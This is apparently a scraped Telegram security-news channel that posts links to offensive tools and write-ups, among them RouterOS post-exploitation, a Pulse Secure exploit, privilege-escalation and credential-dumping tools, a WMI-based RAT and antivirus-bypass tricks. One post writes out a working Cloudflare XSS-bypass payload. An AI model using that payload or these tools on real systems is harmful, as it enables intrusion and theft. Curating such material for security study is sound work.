Information Security
@sec_nerd_en
408 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
408 subscribers
Information Security
RouterOS Post Exploitation


a tool to help enable and maintain root shell access in RouterOS 3.x through the current release.


https://medium.com/tenable-techblog/routeros-post-exploitation-784c08044790



@sec_nerd_en
Medium
RouterOS Post Exploitation
Shared Objects, RC Scripts, and a Symlink
94 views
Information Security
https://opensource.com/article/19/8/how-encrypt-files-gocryptfs
Opensource.com
How to encrypt files with gocryptfs on Linux
Gocryptfs encrypts at the file level, so synchronization operations can work efficiently on each file.
86 views
Information Security
Instagram Explorer tool: Find images by date on Instagram at particular locations,
#OSINT


https://buff.ly/2LoeQR2
OSINT Combine
Instagram Explorer | OSINT Combine
120 views
Information Security
Release out-of-tree v1.0.0 ― kernel {module, exploit} development tool

https://github.com/jollheef/out-of-tree/releases/tag/v1.0.0
GitHub
jollheef/out-of-tree
out-of-tree kernel {module, exploit} development tool - jollheef/out-of-tree
87 views
Information Security
Windows 10 x64 1903 • 10.0.18362.113 (WinBuild.160101.0800) • Use After Free


https://cpr-zero.checkpoint.com/vulns/cprid-2132/
CPR-Zero
CPR-Zero: CVE-2019-1159
Check Point Research Vulnerability Repository
96 views
Information Security
Quick intro to Invoke-WCMDump

https://medium.com/@markmotig/quick-intro-to-invoke-wcmdump-924d302949e7
Medium
Quick intro to Invoke-WCMDump
This is not a new tool, but it is new to me. Invoke-WCMDump allows dumping of generic credentials from Windows Credential Manager.
90 views
Information Security
Forwarded from امنیت اطلاعات
This media is not supported in your browser
VIEW IN TELEGRAM
https://github.com/itm4n/UsoDllLoader



UsoDllLoader


#windows
#privesc


@sec_nerd
5 views
Information Security
https://medium.com/@markmotig/quick-intro-to-building-and-running-sharpup-alternative-to-powerup-ps1-d114d66e9a75
Medium
Quick intro to building and running SharpUp (alternative to PowerUp.ps1)
Powerup.ps1 is something I like to use, along with other tools, to look at a machine and see if it is easily vulnerable to privilege…
77 viewsedited  
Information Security
https://movaxbx.ru/2018/06/01/powershell-in-memory-injection-using-certutil-exe/
MOV AX, BX
MOV AX, BX Code depilation salon: Articles, Code samples, Processor code documentation, Low-level programming, Working with debuggers…
PowerShell: In-Memory Injection Using CertUtil.exe Have you ever heard the old saying, «The only constant in life is change?» Nothing is truer in the world of penetration testing and info…
73 views
Information Security
https://github.com/projectzeroindia/CVE-2019-11510


Exploit for Arbitrary File Read on Pulse Secure SSL VPN (CVE-2019-11510)
GitHub
GitHub - projectzeroindia/CVE-2019-11510: Exploit for Arbitrary File Read on Pulse Secure SSL VPN (CVE-2019-11510)
Exploit for Arbitrary File Read on Pulse Secure SSL VPN (CVE-2019-11510) - projectzeroindia/CVE-2019-11510
76 views
Information Security
Windows oneliners to download remote payload and execute arbitrary code

https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/amp/
arno0x0x
Windows oneliners to download remote payload and execute arbitrary code
In the wake of the recent buzz and trend in using DDE for executing arbitrary command lines and eventually compromising a system, I asked myself « what are the coolest command lines an a…
98 views
Information Security
https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/
Hunnic Cyber Blog
XSLT Injection Basics - Saxon
Recently I was tasked with doing a web app test for a large organization. The application itself was not of great interest given that it…
120 views
Information Security
Cloudflare #XSS #Bypass

<img src onerror=%26emsp;prompt`${document.domain}`>
278 views
Information Security
https://github.com/mzfr/gtfo

Tool to search exploitable binaries/exe on windows and linux
264 views
Information Security
https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus/
NetSPI
10 Evil User Tricks for Bypassing Anti-Virus
Many anti-virus solutions are deployed with weak configurations that provide end-users with the ability to quickly disable or work around the product if they wish. As a result, even users without super hacker skills can run malicious executables (intentionally…
277 views
Information Security
CVE-2019-12527: Code Execution on Squid Proxy Through a Buffer Overflow

https://www.zerodayinitiative.com/blog/2019/8/22/cve-2019-12527-code-execution-on-squid-proxy-through-a-heap-buffer-overflow
Zero Day Initiative
Zero Day Initiative — CVE-2019-12527: Code Execution on Squid Proxy Through a Buffer Overflow
In this excerpt of a Trend Micro Vulnerability Research Service report, Saran Neti and Sivathmican Sivakumaran of the Trend Micro Research Team detail a recent buffer overflow vulnerability in the Squid web proxy. A remote, unauthenticated attacker could…
287 views
Information Security
https://github.com/JoelGMSec/AutoRDPwn
GitHub
GitHub - JoelGMSec/AutoRDPwn: The Shadow Attack Framework
The Shadow Attack Framework. Contribute to JoelGMSec/AutoRDPwn development by creating an account on GitHub.
306 views
Information Security
Hashcatch: A script to capture handshakes of nearby wifi networks as you walk
down the street.


https://github.com/staz0t/hashcatch
GitHub
GitHub - staz0t/hashcatch: Capture handshakes of nearby WiFi networks automatically
Capture handshakes of nearby WiFi networks automatically - staz0t/hashcatch
122 views
Information Security
WMImplant is a PowerShell based tool that leverages WMI to both perform actions against targeted machines, but also as the C2 channel for issuing commands and receiving results. WMImplant will likely require local administrator permissions on the targeted machine.


https://github.com/FortyNorthSecurity/WMImplant
GitHub
GitHub - RedSiege/WMImplant: This is a PowerShell based tool that is designed to act like a RAT. Its interface is that of a shell…
This is a PowerShell based tool that is designed to act like a RAT. Its interface is that of a shell where any command that is supported is translated into a WMI-equivalent for use on a network/rem...
94 views
Information Security
Escalating privileges with ACLs in Active Directory

https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
Fox-IT International blog
Escalating privileges with ACLs in Active Directory
Researched and written by Rindert Kramer and Dirk-jan Mollema Introduction During internal penetration tests, it happens quite often that we manage to obtain Domain Administrative access within a f…
102 views